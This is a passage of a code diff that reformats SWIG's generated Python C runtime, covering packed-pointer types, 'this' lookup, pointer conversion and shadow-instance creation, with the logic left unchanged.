(getattrfunc)0, /* tp_getattr */ - (setattrfunc)0, /* tp_setattr */ + (getattrfunc)0, /* tp_getattr */ + (setattrfunc)0, /* tp_setattr */ #if PY_VERSION_HEX>=0x03000000 - 0, /* tp_reserved in 3.0.1 */ + 0, /* tp_reserved in 3.0.1 */ #else - (cmpfunc)SwigPyPacked_compare, /* tp_compare */ + (cmpfunc)SwigPyPacked_compare, /* tp_compare */ #endif - (reprfunc)SwigPyPacked_repr, /* tp_repr */ - 0, /* tp_as_number */ - 0, /* tp_as_sequence */ - 0, /* tp_as_mapping */ - (hashfunc)0, /* tp_hash */ - (ternaryfunc)0, /* tp_call */ - (reprfunc)SwigPyPacked_str, /* tp_str */ - PyObject_GenericGetAttr, /* tp_getattro */ - 0, /* tp_setattro */ - 0, /* tp_as_buffer */ - Py_TPFLAGS_DEFAULT, /* tp_flags */ - swigpacked_doc, /* tp_doc */ - 0, /* tp_traverse */ - 0, /* tp_clear */ - 0, /* tp_richcompare */ - 0, /* tp_weaklistoffset */ - 0, /* tp_iter */ - 0, /* tp_iternext */ - 0, /* tp_methods */ - 0, /* tp_members */ - 0, /* tp_getset */ - 0, /* tp_base */ - 0, /* tp_dict */ - 0, /* tp_descr_get */ - 0, /* tp_descr_set */ - 0, /* tp_dictoffset */ - 0, /* tp_init */ - 0, /* tp_alloc */ - 0, /* tp_new */ - 0, /* tp_free */ - 0, /* tp_is_gc */ - 0, /* tp_bases */ - 0, /* tp_mro */ - 0, /* tp_cache */ - 0, /* tp_subclasses */ - 0, /* tp_weaklist */ - 0, /* tp_del */ - 0, /* tp_version_tag */ + (reprfunc)SwigPyPacked_repr, /* tp_repr */ + 0, /* tp_as_number */ + 0, /* tp_as_sequence */ + 0, /* tp_as_mapping */ + (hashfunc)0, /* tp_hash */ + (ternaryfunc)0, /* tp_call */ + (reprfunc)SwigPyPacked_str, /* tp_str */ + PyObject_GenericGetAttr, /* tp_getattro */ + 0, /* tp_setattro */ + 0, /* tp_as_buffer */ + Py_TPFLAGS_DEFAULT, /* tp_flags */ + swigpacked_doc, /* tp_doc */ + 0, /* tp_traverse */ + 0, /* tp_clear */ + 0, /* tp_richcompare */ + 0, /* tp_weaklistoffset */ + 0, /* tp_iter */ + 0, /* tp_iternext */ + 0, /* tp_methods */ + 0, /* tp_members */ + 0, /* tp_getset */ + 0, /* tp_base */ + 0, /* tp_dict */ + 0, /* tp_descr_get */ + 0, /* tp_descr_set */ + 0, /* tp_dictoffset */ + 0, /* tp_init */ + 0, /* tp_alloc */ + 0, /* tp_new */ + 0, /* tp_free */ + 0, /* tp_is_gc */ + 0, /* tp_bases */ + 0, /* tp_mro */ + 0, /* tp_cache */ + 0, /* tp_subclasses */ + 0, /* tp_weaklist */ + 0, /* tp_del */ + 0, /* tp_version_tag */ #if PY_VERSION_HEX >= 0x03040000 - 0, /* tp_finalize */ + 0, /* tp_finalize */ #endif #if PY_VERSION_HEX >= 0x03080000 - 0, /* tp_vectorcall */ + 0, /* tp_vectorcall */ #endif #if (PY_VERSION_HEX >= 0x03080000) && (PY_VERSION_HEX < 0x03090000) - 0, /* tp_print */ + 0, /* tp_print */ #endif #if PY_VERSION_HEX >= 0x030C0000 - 0, /* tp_watched */ + 0, /* tp_watched */ #endif #ifdef COUNT_ALLOCS - 0, /* tp_allocs */ - 0, /* tp_frees */ - 0, /* tp_maxalloc */ - 0, /* tp_prev */ - 0 /* tp_next */ + 0, /* tp_allocs */ + 0, /* tp_frees */ + 0, /* tp_maxalloc */ + 0, /* tp_prev */ + 0 /* tp_next */ #endif - }; - swigpypacked_type = tmp; - type_init = 1; - if (PyType_Ready(&swigpypacked_type) != 0) - return NULL; - } - return &swigpypacked_type; + }; + swigpypacked_type = tmp; + type_init = 1; + if (PyType_Ready(&swigpypacked_type) != 0) + return NULL; + } + return &swigpypacked_type; #else - PyType_Slot slots[] = { - { Py_tp_dealloc, (void *)SwigPyPacked_dealloc }, - { Py_tp_repr, (void *)SwigPyPacked_repr }, - { Py_tp_str, (void *)SwigPyPacked_str }, - { Py_tp_getattro, (void *)PyObject_GenericGetAttr }, - { Py_tp_doc, (void *)swigpacked_doc }, - { 0, NULL } - }; - PyType_Spec spec = { - "SwigPyPacked", - sizeof(SwigPyPacked), - 0, - Py_TPFLAGS_DEFAULT, - slots - }; - return (PyTypeObject *)PyType_FromSpec(&spec); + PyType_Slot slots[] = { + { Py_tp_dealloc, (void *)SwigPyPacked_dealloc }, + { Py_tp_repr, (void *)SwigPyPacked_repr }, + { Py_tp_str, (void *)SwigPyPacked_str }, + { Py_tp_getattro, (void *)PyObject_GenericGetAttr }, + { Py_tp_doc, (void *)swigpacked_doc }, + { 0, NULL } + }; + PyType_Spec spec = { + "SwigPyPacked", + sizeof(SwigPyPacked), + 0, + Py_TPFLAGS_DEFAULT, + slots + }; + return (PyTypeObject *)PyType_FromSpec(&spec); #endif } SWIGRUNTIME PyObject * -SwigPyPacked_New(void *ptr, size_t size, swig_type_info *ty) -{ - SwigPyPacked *sobj = PyObject_New(SwigPyPacked, SwigPyPacked_type()); - if (sobj) { - void *pack = malloc(size); - if (pack) { - memcpy(pack, ptr, size); - sobj->pack = pack; - sobj->ty = ty; - sobj->size = size; - } else { - PyObject_DEL((PyObject *) sobj); - sobj = 0; +SwigPyPacked_New(void *ptr, size_t size, swig_type_info *ty) { + SwigPyPacked *sobj = PyObject_New(SwigPyPacked, SwigPyPacked_type()); + if (sobj) { + void *pack = malloc(size); + if (pack) { + memcpy(pack, ptr, size); + sobj->pack = pack; + sobj->ty = ty; + sobj->size = size; + } else { + PyObject_DEL((PyObject *) sobj); + sobj = 0; + } } - } - return (PyObject *) sobj; + return (PyObject *) sobj; } SWIGRUNTIME swig_type_info * -SwigPyPacked_UnpackData(PyObject *obj, void *ptr, size_t size) -{ - if (SwigPyPacked_Check(obj)) { - SwigPyPacked *sobj = (SwigPyPacked *)obj; - if (sobj->size != size) return 0; - memcpy(ptr, sobj->pack, size); - return sobj->ty; - } else { - return 0; - } +SwigPyPacked_UnpackData(PyObject *obj, void *ptr, size_t size) { + if (SwigPyPacked_Check(obj)) { + SwigPyPacked *sobj = (SwigPyPacked *)obj; + if (sobj->size != size) return 0; + memcpy(ptr, sobj->pack, size); + return sobj->ty; + } else { + return 0; + } } /* ----------------------------------------------------------------------------- @@ -2423,81 +2390,79 @@ SwigPyPacked_UnpackData(PyObject *obj, void *ptr, size_t size) static PyObject *Swig_This_global = NULL; SWIGRUNTIME PyObject * -SWIG_This(void) -{ - if (Swig_This_global == NULL) - Swig_This_global = SWIG_Python_str_FromChar("this"); - return Swig_This_global; +SWIG_This(void) { + if (Swig_This_global == NULL) + Swig_This_global = SWIG_Python_str_FromChar("this"); + return Swig_This_global; } /* #define SWIG_PYTHON_SLOW_GETSET_THIS */ /* TODO: I don't know how to implement the fast getset in Python 3 right now */ #if PY_VERSION_HEX>=0x03000000 -#define SWIG_PYTHON_SLOW_GETSET_THIS +#define SWIG_PYTHON_SLOW_GETSET_THIS #endif SWIGRUNTIME SwigPyObject * -SWIG_Python_GetSwigThis(PyObject *pyobj) -{ - PyObject *obj; +SWIG_Python_GetSwigThis(PyObject *pyobj) { + PyObject *obj; - if (SwigPyObject_Check(pyobj)) - return (SwigPyObject *) pyobj; + if (SwigPyObject_Check(pyobj)) + return (SwigPyObject *) pyobj; #ifdef SWIGPYTHON_BUILTIN - (void)obj; + (void)obj; # ifdef PyWeakref_CheckProxy - if (PyWeakref_CheckProxy(pyobj)) { - pyobj = PyWeakref_GET_OBJECT(pyobj); - if (pyobj && SwigPyObject_Check(pyobj)) - return (SwigPyObject*) pyobj; - } + if (PyWeakref_CheckProxy(pyobj)) { + pyobj = PyWeakref_GET_OBJECT(pyobj); + if (pyobj && SwigPyObject_Check(pyobj)) + return (SwigPyObject *) pyobj; + } # endif - return NULL; + return NULL; #else - obj = 0; + obj = 0; #if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) - if (PyInstance_Check(pyobj)) { - obj = _PyInstance_Lookup(pyobj, SWIG_This()); - } else { - PyObject **dictptr = _PyObject_GetDictPtr(pyobj); - if (dictptr != NULL) { - PyObject *dict = *dictptr; - obj = dict ? PyDict_GetItem(dict, SWIG_This()) : 0; + if (PyInstance_Check(pyobj)) { + obj = _PyInstance_Lookup(pyobj, SWIG_This()); } else { + PyObject **dictptr = _PyObject_GetDictPtr(pyobj); + if (dictptr != NULL) { + PyObject *dict = *dictptr; + obj = dict ? PyDict_GetItem(dict, SWIG_This()) : 0; + } else { #ifdef PyWeakref_CheckProxy - if (PyWeakref_CheckProxy(pyobj)) { - PyObject *wobj = PyWeakref_GET_OBJECT(pyobj); - return wobj ? SWIG_Python_GetSwigThis(wobj) : 0; - } + if (PyWeakref_CheckProxy(pyobj)) { + PyObject *wobj = PyWeakref_GET_OBJECT(pyobj); + return wobj ? SWIG_Python_GetSwigThis(wobj) : 0; + } #endif - obj = PyObject_GetAttr(pyobj,SWIG_This()); - if (obj) { - Py_DECREF(obj); - } else { - if (PyErr_Occurred()) PyErr_Clear(); - return 0; - } + obj = PyObject_GetAttr(pyobj, SWIG_This()); + if (obj) { + Py_DECREF(obj); + } else { + if (PyErr_Occurred()) PyErr_Clear(); + return 0; + } + } } - } #else - obj = PyObject_GetAttr(pyobj,SWIG_This()); - if (obj) { - Py_DECREF(obj); - } else { - if (PyErr_Occurred()) PyErr_Clear(); - return 0; - } + obj = PyObject_GetAttr(pyobj, SWIG_This()); + if (obj) { + Py_DECREF(obj); + } else { + if (PyErr_Occurred()) PyErr_Clear(); + return 0; + } #endif - if (obj && !SwigPyObject_Check(obj)) { - /* a PyObject is called 'this', try to get the 'real this' - SwigPyObject from it */ - return SWIG_Python_GetSwigThis(obj); - } - return (SwigPyObject *)obj; + if (obj && !SwigPyObject_Check(obj)) { + /* a PyObject is called 'this', try to get the 'real this' + SwigPyObject from it */ + return SWIG_Python_GetSwigThis(obj); + } + return (SwigPyObject *)obj; #endif } @@ -2505,183 +2470,183 @@ SWIG_Python_GetSwigThis(PyObject *pyobj) SWIGRUNTIME int SWIG_Python_AcquirePtr(PyObject *obj, int own) { - if (own == SWIG_POINTER_OWN) { - SwigPyObject *sobj = SWIG_Python_GetSwigThis(obj); - if (sobj) { - int oldown = sobj->own; - sobj->own = own; - return oldown; + if (own == SWIG_POINTER_OWN) { + SwigPyObject *sobj = SWIG_Python_GetSwigThis(obj); + if (sobj) { + int oldown = sobj->own; + sobj->own = own; + return oldown; + } } - } - return 0; + return 0; } /* Convert a pointer value */ SWIGRUNTIME int SWIG_Python_ConvertPtrAndOwn(PyObject *obj, void **ptr, swig_type_info *ty, int flags, int *own) { - int res; - SwigPyObject *sobj; - int implicit_conv = (flags & SWIG_POINTER_IMPLICIT_CONV) != 0; + int res; + SwigPyObject *sobj; + int implicit_conv = (flags & SWIG_POINTER_IMPLICIT_CONV) != 0; - if (!obj) - return SWIG_ERROR; - if (obj == Py_None && !implicit_conv) { - if (ptr) - *ptr = 0; - return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; - } - - res = SWIG_ERROR; - - sobj = SWIG_Python_GetSwigThis(obj); - if (own) - *own = 0; - while (sobj) { - void *vptr = sobj->ptr; - if (ty) { - swig_type_info *to = sobj->ty; - if (to == ty) { - /* no type cast needed */ - if (ptr) *ptr = vptr; - break; - } else { - swig_cast_info *tc = SWIG_TypeCheck(to->name,ty); - if (!tc) { - sobj = (SwigPyObject *)sobj->next; - } else { - if (ptr) { - int newmemory = 0; - *ptr = SWIG_TypeCast(tc,vptr,&newmemory); - if (newmemory == SWIG_CAST_NEW_MEMORY) { - assert(own); /* badly formed typemap which will lead to a memory leak - it must set and use own to delete *ptr */ - if (own) - *own = *own | SWIG_CAST_NEW_MEMORY; - } - } - break; - } - } - } else { - if (ptr) *ptr = vptr; - break; - } - } - if (sobj) { - if (((flags & SWIG_POINTER_RELEASE) == SWIG_POINTER_RELEASE) && !sobj->own) { - res = SWIG_ERROR_RELEASE_NOT_OWNED; - } else { - if (own) - *own = *own | sobj->own; - if (flags & SWIG_POINTER_DISOWN) { - sobj->own = 0; - } - if (flags & SWIG_POINTER_CLEAR) { - sobj->ptr = 0; - } - res = SWIG_OK; - } - } else { - if (implicit_conv) { - SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; - if (data && !data->implicitconv) { - PyObject *klass = data->klass; - if (klass) { - PyObject *impconv; - data->implicitconv = 1; /* avoid recursion and call 'explicit' constructors*/ - impconv = SWIG_Python_CallFunctor(klass, obj); - data->implicitconv = 0; - if (PyErr_Occurred()) { - PyErr_Clear(); - impconv = 0; - } - if (impconv) { - SwigPyObject *iobj = SWIG_Python_GetSwigThis(impconv); - if (iobj) { - void *vptr; - res = SWIG_Python_ConvertPtrAndOwn((PyObject*)iobj, &vptr, ty, 0, 0); - if (SWIG_IsOK(res)) { - if (ptr) { - *ptr = vptr; - /* transfer the ownership to 'ptr' */ - iobj->own = 0; - res = SWIG_AddCast(res); - res = SWIG_AddNewMask(res); - } else { - res = SWIG_AddCast(res); - } - } - } - Py_DECREF(impconv); - } - } - } - if (!SWIG_IsOK(res) && obj == Py_None) { + if (!obj) + return SWIG_ERROR; + if (obj == Py_None && !implicit_conv) { if (ptr) - *ptr = 0; - if (PyErr_Occurred()) - PyErr_Clear(); - res = SWIG_OK; - } + *ptr = 0; + return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; } - } - return res; + + res = SWIG_ERROR; + + sobj = SWIG_Python_GetSwigThis(obj); + if (own) + *own = 0; + while (sobj) { + void *vptr = sobj->ptr; + if (ty) { + swig_type_info *to = sobj->ty; + if (to == ty) { + /* no type cast needed */ + if (ptr) *ptr = vptr; + break; + } else { + swig_cast_info *tc = SWIG_TypeCheck(to->name, ty); + if (!tc) { + sobj = (SwigPyObject *)sobj->next; + } else { + if (ptr) { + int newmemory = 0; + *ptr = SWIG_TypeCast(tc, vptr, &newmemory); + if (newmemory == SWIG_CAST_NEW_MEMORY) { + assert(own); /* badly formed typemap which will lead to a memory leak - it must set and use own to delete *ptr */ + if (own) + *own = *own | SWIG_CAST_NEW_MEMORY; + } + } + break; + } + } + } else { + if (ptr) *ptr = vptr; + break; + } + } + if (sobj) { + if (((flags & SWIG_POINTER_RELEASE) == SWIG_POINTER_RELEASE) && !sobj->own) { + res = SWIG_ERROR_RELEASE_NOT_OWNED; + } else { + if (own) + *own = *own | sobj->own; + if (flags & SWIG_POINTER_DISOWN) { + sobj->own = 0; + } + if (flags & SWIG_POINTER_CLEAR) { + sobj->ptr = 0; + } + res = SWIG_OK; + } + } else { + if (implicit_conv) { + SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; + if (data && !data->implicitconv) { + PyObject *klass = data->klass; + if (klass) { + PyObject *impconv; + data->implicitconv = 1; /* avoid recursion and call 'explicit' constructors*/ + impconv = SWIG_Python_CallFunctor(klass, obj); + data->implicitconv = 0; + if (PyErr_Occurred()) { + PyErr_Clear(); + impconv = 0; + } + if (impconv) { + SwigPyObject *iobj = SWIG_Python_GetSwigThis(impconv); + if (iobj) { + void *vptr; + res = SWIG_Python_ConvertPtrAndOwn((PyObject *)iobj, &vptr, ty, 0, 0); + if (SWIG_IsOK(res)) { + if (ptr) { + *ptr = vptr; + /* transfer the ownership to 'ptr' */ + iobj->own = 0; + res = SWIG_AddCast(res); + res = SWIG_AddNewMask(res); + } else { + res = SWIG_AddCast(res); + } + } + } + Py_DECREF(impconv); + } + } + } + if (!SWIG_IsOK(res) && obj == Py_None) { + if (ptr) + *ptr = 0; + if (PyErr_Occurred()) + PyErr_Clear(); + res = SWIG_OK; + } + } + } + return res; } /* Convert a function ptr value */ SWIGRUNTIME int SWIG_Python_ConvertFunctionPtr(PyObject *obj, void **ptr, swig_type_info *ty) { - if (!PyCFunction_Check(obj)) { - return SWIG_ConvertPtr(obj, ptr, ty, 0); - } else { - void *vptr = 0; - swig_cast_info *tc; - - /* here we get the method pointer for callbacks */ -#ifndef Py_LIMITED_API - const char *doc = (((PyCFunctionObject *)obj) -> m_ml -> ml_doc); -#else - PyObject* pystr_doc = PyObject_GetAttrString(obj, "__doc__"); - PyObject *bytes = NULL; - const char *doc = pystr_doc ? SWIG_PyUnicode_AsUTF8AndSize(pystr_doc, NULL, &bytes) : 0; -#endif - const char *desc = doc ? strstr(doc, "swig_ptr: ") : 0; - if (desc) - desc = ty ? SWIG_UnpackVoidPtr(desc + 10, &vptr, ty->name) : 0; -#ifdef Py_LIMITED_API - Py_XDECREF(bytes); - Py_XDECREF(pystr_doc); -#endif - if (!desc) - return SWIG_ERROR; - tc = SWIG_TypeCheck(desc,ty); - if (tc) { - int newmemory = 0; - *ptr = SWIG_TypeCast(tc,vptr,&newmemory); - assert(!newmemory); /* newmemory handling not yet implemented */ + if (!PyCFunction_Check(obj)) { + return SWIG_ConvertPtr(obj, ptr, ty, 0); } else { - return SWIG_ERROR; + void *vptr = 0; + swig_cast_info *tc; + + /* here we get the method pointer for callbacks */ +#ifndef Py_LIMITED_API + const char *doc = (((PyCFunctionObject *)obj) -> m_ml -> ml_doc); +#else + PyObject *pystr_doc = PyObject_GetAttrString(obj, "__doc__"); + PyObject *bytes = NULL; + const char *doc = pystr_doc ? SWIG_PyUnicode_AsUTF8AndSize(pystr_doc, NULL, &bytes) : 0; +#endif + const char *desc = doc ? strstr(doc, "swig_ptr: ") : 0; + if (desc) + desc = ty ? SWIG_UnpackVoidPtr(desc + 10, &vptr, ty->name) : 0; +#ifdef Py_LIMITED_API + Py_XDECREF(bytes); + Py_XDECREF(pystr_doc); +#endif + if (!desc) + return SWIG_ERROR; + tc = SWIG_TypeCheck(desc, ty); + if (tc) { + int newmemory = 0; + *ptr = SWIG_TypeCast(tc, vptr, &newmemory); + assert(!newmemory); /* newmemory handling not yet implemented */ + } else { + return SWIG_ERROR; + } + return SWIG_OK; } - return SWIG_OK; - } } /* Convert a packed pointer value */ SWIGRUNTIME int SWIG_Python_ConvertPacked(PyObject *obj, void *ptr, size_t sz, swig_type_info *ty) { - swig_type_info *to = SwigPyPacked_UnpackData(obj, ptr, sz); - if (!to) return SWIG_ERROR; - if (ty) { - if (to != ty) { - /* check type cast? */ - swig_cast_info *tc = SWIG_TypeCheck(to->name,ty); - if (!tc) return SWIG_ERROR; + swig_type_info *to = SwigPyPacked_UnpackData(obj, ptr, sz); + if (!to) return SWIG_ERROR; + if (ty) { + if (to != ty) { + /* check type cast? */ + swig_cast_info *tc = SWIG_TypeCheck(to->name, ty); + if (!tc) return SWIG_ERROR; + } } - } - return SWIG_OK; -} + return SWIG_OK; +} /* ----------------------------------------------------------------------------- * Create a new pointer object @@ -2692,181 +2657,179 @@ SWIG_Python_ConvertPacked(PyObject *obj, void *ptr, size_t sz, swig_type_info *t 'this' attribute. */ -SWIGRUNTIME PyObject* -SWIG_Python_NewShadowInstance(SwigPyClientData *data, PyObject *swig_this) -{ - PyObject *inst = 0; - PyObject *newraw = data->newraw; - if (newraw) { - inst = PyObject_Call(newraw, data->newargs, NULL); - if (inst) { -#if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) - PyObject **dictptr = _PyObject_GetDictPtr(inst); - if (dictptr != NULL) { - PyObject *dict = *dictptr; - if (dict == NULL) { - dict = PyDict_New(); - *dictptr = dict; - } - if (dict) { - PyDict_SetItem(dict, SWIG_This(), swig_this); - } else{ - Py_DECREF(inst); - inst = 0; - } - } -#else - if (PyObject_SetAttr(inst, SWIG_This(), swig_this) == -1) { - Py_DECREF(inst); - inst = 0; - } -#endif - } - } else { -#if PY_VERSION_HEX >= 0x03000000 - PyObject *empty_args = PyTuple_New(0); - if (empty_args) { - PyObject *empty_kwargs = PyDict_New(); - if (empty_kwargs) { -#ifndef Py_LIMITED_API - newfunc newfn = ((PyTypeObject *)data->newargs)->tp_new; -#else - newfunc newfn = (newfunc)PyType_GetSlot((PyTypeObject *)data->newargs, Py_tp_new); -#endif - inst = newfn((PyTypeObject *)data->newargs, empty_args, empty_kwargs); - Py_DECREF(empty_kwargs); +SWIGRUNTIME PyObject * +SWIG_Python_NewShadowInstance(SwigPyClientData *data, PyObject *swig_this) { + PyObject *inst = 0; + PyObject *newraw = data->newraw; + if (newraw) { + inst = PyObject_Call(newraw, data->newargs, NULL); if (inst) { - if (PyObject_SetAttr(inst, SWIG_This(), swig_this) == -1) { - Py_DECREF(inst); - inst = 0; - } else { - PyType_Modified(Py_TYPE(inst)); - } - } - } - Py_DECREF(empty_args); - } +#if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) + PyObject **dictptr = _PyObject_GetDictPtr(inst); + if (dictptr != NULL) { + PyObject *dict = *dictptr; + if (dict == NULL) { + dict = PyDict_New(); + *dictptr = dict; + } + if (dict) { + PyDict_SetItem(dict, SWIG_This(), swig_this); + } else { + Py_DECREF(inst); + inst = 0; + } + } #else - PyObject *dict = PyDict_New(); - if (dict) { - PyDict_SetItem(dict, SWIG_This(), swig_this); - inst = PyInstance_NewRaw(data->newargs, dict); - Py_DECREF(dict); - } + if (PyObject_SetAttr(inst, SWIG_This(), swig_this) == -1) { + Py_DECREF(inst); + inst = 0; + } #endif - } - return inst; + } + } else { +#if PY_VERSION_HEX >= 0x03000000 + PyObject *empty_args = PyTuple_New(0); + if (empty_args) { + PyObject *empty_kwargs = PyDict_New(); + if (empty_kwargs) { +#ifndef Py_LIMITED_API + newfunc newfn = ((PyTypeObject *)data->newargs)->tp_new; +#else + newfunc newfn = (newfunc)PyType_GetSlot((PyTypeObject *)data->newargs, Py_tp_new); +#endif + inst = newfn((PyTypeObject *)data->newargs, empty_args, empty_kwargs); + Py_DECREF(empty_kwargs); + if (inst) { + if (PyObject_SetAttr(inst, SWIG_This(), swig_this) == -1) { + Py_DECREF(inst); + inst = 0; + } else { + PyType_Modified(Py_TYPE(inst)); + } + } + } + Py_DECREF(empty_args); + } +#else + PyObject *dict = PyDict_New(); + if (dict) { + PyDict_SetItem(dict, SWIG_This(), swig_this); + inst = PyInstance_NewRaw(data->newargs, dict); + Py_DECREF(dict); + } +#endif + } + return inst; } SWIGRUNTIME int -SWIG_Python_SetSwigThis(PyObject *inst, PyObject *swig_this) -{ +SWIG_Python_SetSwigThis(PyObject *inst, PyObject *swig_this) { #if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) - PyObject **dictptr = _PyObject_GetDictPtr(inst); - if (dictptr != NULL) { - PyObject *dict = *dictptr; - if (dict == NULL) { - dict = PyDict_New(); - *dictptr = dict; + PyObject **dictptr = _PyObject_GetDictPtr(inst); + if (dictptr != NULL) { + PyObject *dict = *dictptr; + if (dict == NULL) { + dict = PyDict_New(); + *dictptr = dict; + } + if (dict) { + return PyDict_SetItem(dict, SWIG_This(), swig_this); + } else { + return -1; + } } - if (dict) { - return PyDict_SetItem(dict, SWIG_This(), swig_this); - } else{ - return -1; - } - } #endif - return PyObject_SetAttr(inst, SWIG_This(), swig_this); -} + return PyObject_SetAttr(inst, SWIG_This(), swig_this); +} SWIGINTERN PyObject * SWIG_Python_InitShadowInstance(PyObject *args) { - PyObject *obj[2]; - if (!SWIG_Python_UnpackTuple(args, "swiginit", 2, 2, obj)) { - return NULL; - } else { - SwigPyObject *sthis = SWIG_Python_GetSwigThis(obj[0]); - if (sthis) { - Py_DECREF(SwigPyObject_append((PyObject*) sthis, obj[1])); - } else { - if (SWIG_Python_SetSwigThis(obj[0], obj[1]) != 0) + PyObject *obj[2]; + if (!SWIG_Python_UnpackTuple(args, "swiginit", 2, 2, obj)) { return NULL; + } else { + SwigPyObject *sthis = SWIG_Python_GetSwigThis(obj[0]); + if (sthis) { + Py_DECREF(SwigPyObject_append((PyObject *) sthis, obj[1])); + } else { + if (SWIG_Python_SetSwigThis(obj[0], obj[1]) != 0) + return NULL; + } + return SWIG_Py_Void(); } - return SWIG_Py_Void(); - } } /* Create a new pointer object */ SWIGRUNTIME PyObject * SWIG_Python_NewPointerObj(PyObject *self, void *ptr, swig_type_info *type, int flags) { - SwigPyClientData *clientdata; - PyObject * robj; - int own; + SwigPyClientData *clientdata; + PyObject *robj; + int own; - if (!ptr) - return SWIG_Py_Void(); + if (!ptr) + return SWIG_Py_Void(); - clientdata = type ? (SwigPyClientData *)(type->clientdata) : 0; - own = (flags & SWIG_POINTER_OWN) ? SWIG_POINTER_OWN : 0; - if (clientdata && clientdata->pytype) { - SwigPyObject *newobj; - if (flags & SWIG_BUILTIN_TP_INIT) { - newobj = (SwigPyObject*) self; - if (newobj->ptr) { + clientdata = type ? (SwigPyClientData *)(type->clientdata) : 0; + own = (flags & SWIG_POINTER_OWN) ? SWIG_POINTER_OWN : 0; + if (clientdata && clientdata->pytype) { + SwigPyObject *newobj; + if (flags & SWIG_BUILTIN_TP_INIT) { + newobj = (SwigPyObject *) self; + if (newobj->ptr) { #ifndef Py_LIMITED_API - allocfunc alloc = clientdata->pytype->tp_alloc; + allocfunc alloc = clientdata->pytype->tp_alloc; #else - allocfunc alloc = (allocfunc)PyType_GetSlot(clientdata->pytype, Py_tp_alloc); + allocfunc alloc = (allocfunc)PyType_GetSlot(clientdata->pytype, Py_tp_alloc); #endif - PyObject *next_self = alloc(clientdata->pytype, 0); - while (newobj->next) - newobj = (SwigPyObject *) newobj->next; - newobj->next = next_self; - newobj = (SwigPyObject *)next_self; + PyObject *next_self = alloc(clientdata->pytype, 0); + while (newobj->next) + newobj = (SwigPyObject *) newobj->next; + newobj->next = next_self; + newobj = (SwigPyObject *)next_self; #ifdef SWIGPYTHON_BUILTIN - newobj->dict = 0; + newobj->dict = 0; #endif - } - } else { - newobj = PyObject_New(SwigPyObject, clientdata->pytype); + } + } else { + newobj = PyObject_New(SwigPyObject, clientdata->pytype); #ifdef SWIGPYTHON_BUILTIN - if (newobj) { - newobj->dict = 0; - } + if (newobj) { + newobj->dict = 0; + } #endif + } + if (newobj) { + newobj->ptr = ptr; + newobj->ty = type; + newobj->own = own; + newobj->next = 0; + return (PyObject *) newobj; + } + return SWIG_Py_Void(); } - if (newobj) { - newobj->ptr = ptr; - newobj->ty = type; - newobj->own = own; - newobj->next = 0; - return (PyObject*) newobj; + + assert(!(flags & SWIG_BUILTIN_TP_INIT)); + + robj = SwigPyObject_New(ptr, type, own); + if (robj && clientdata && !(flags & SWIG_POINTER_NOSHADOW)) { + PyObject *inst = SWIG_Python_NewShadowInstance(clientdata, robj); + Py_DECREF(robj); + robj = inst; } - return SWIG_Py_Void(); - } - - assert(!(flags & SWIG_BUILTIN_TP_INIT)); - - robj = SwigPyObject_New(ptr, type, own); - if (robj && clientdata && !(flags & SWIG_POINTER_NOSHADOW)) { - PyObject *inst = SWIG_Python_NewShadowInstance(clientdata, robj); - Py_DECREF(robj); - robj = inst; - } - return robj; + return robj; } /* Create a new packed object */ SWIGRUNTIMEINLINE PyObject * SWIG_Python_NewPackedObj(void *ptr, size_t sz, swig_type_info *type) { - return ptr ? SwigPyPacked_New((void *) ptr, sz, type) : SWIG_Py_Void(); + return ptr ? SwigPyPacked_New((void *) ptr, sz, type) : SWIG_Py_Void(); } /* -----------------------------------------------------------------------------* - * Get type list + * Get type list * -----------------------------------------------------------------------------*/ #ifdef SWIG_LINK_RUNTIME @@ -2878,105 +2841,103 @@ static PyObject *Swig_TypeCache_global = NULL; /* The python cached type query */ SWIGRUNTIME PyObject * SWIG_Python_TypeCache(void) { - if (Swig_TypeCache_global == NULL) { - Swig_TypeCache_global = PyDict_New(); - } - return Swig_TypeCache_global; + if (Swig_TypeCache_global == NULL) { + Swig_TypeCache_global = PyDict_New(); + } + return Swig_TypeCache_global; } SWIGRUNTIME swig_module_info * SWIG_Python_GetModule(void *SWIGUNUSEDPARM(clientdata)) { #ifdef SWIG_LINK_RUNTIME - static void *type_pointer = (void *)0; - /* first check if module already created */ - if (!type_pointer) { - type_pointer = SWIG_ReturnGlobalTypeList((void *)0); - } + static void *type_pointer = (void *)0; + /* first check if module already created */ + if (!type_pointer) { + type_pointer = SWIG_ReturnGlobalTypeList((void *)0); + } #else - void *type_pointer = PyCapsule_Import(SWIGPY_CAPSULE_NAME, 0); - if (PyErr_Occurred()) { - PyErr_Clear(); - type_pointer = (void *)0; - } + void *type_pointer = PyCapsule_Import(SWIGPY_CAPSULE_NAME, 0); + if (PyErr_Occurred()) { + PyErr_Clear(); + type_pointer = (void *)0; + } #endif - return (swig_module_info *) type_pointer; + return (swig_module_info *) type_pointer; } static int interpreter_counter = 0; /* how many (sub-)interpreters are using swig_module's types */ SWIGRUNTIME void -SWIG_Python_DestroyModule(PyObject *obj) -{ - swig_module_info *swig_module = (swig_module_info *) PyCapsule_GetPointer(obj, SWIGPY_CAPSULE_NAME); - swig_type_info **types = swig_module->types; - size_t i; - if (--interpreter_counter != 0) /* another sub-interpreter may still be using the swig_module's types */ - return; - for (i =0; i < swig_module->size; ++i) { - swig_type_info *ty = types[i]; - if (ty->owndata) { - SwigPyClientData *data = (SwigPyClientData *) ty->clientdata; - ty->clientdata = 0; - if (data) SwigPyClientData_Del(data); +SWIG_Python_DestroyModule(PyObject *obj) { + swig_module_info *swig_module = (swig_module_info *) PyCapsule_GetPointer(obj, SWIGPY_CAPSULE_NAME); + swig_type_info **types = swig_module->types; + size_t i; + if (--interpreter_counter != 0) /* another sub-interpreter may still be using the swig_module's types */ + return; + for (i = 0; i < swig_module->size; ++i) { + swig_type_info *ty = types[i]; + if (ty->owndata) { + SwigPyClientData *data = (SwigPyClientData *) ty->clientdata; + ty->clientdata = 0; + if (data) SwigPyClientData_Del(data); + } } - } - Py_DECREF(SWIG_This()); - Swig_This_global = NULL; - Py_DECREF(SWIG_globals()); - Swig_Globals_global = NULL; - 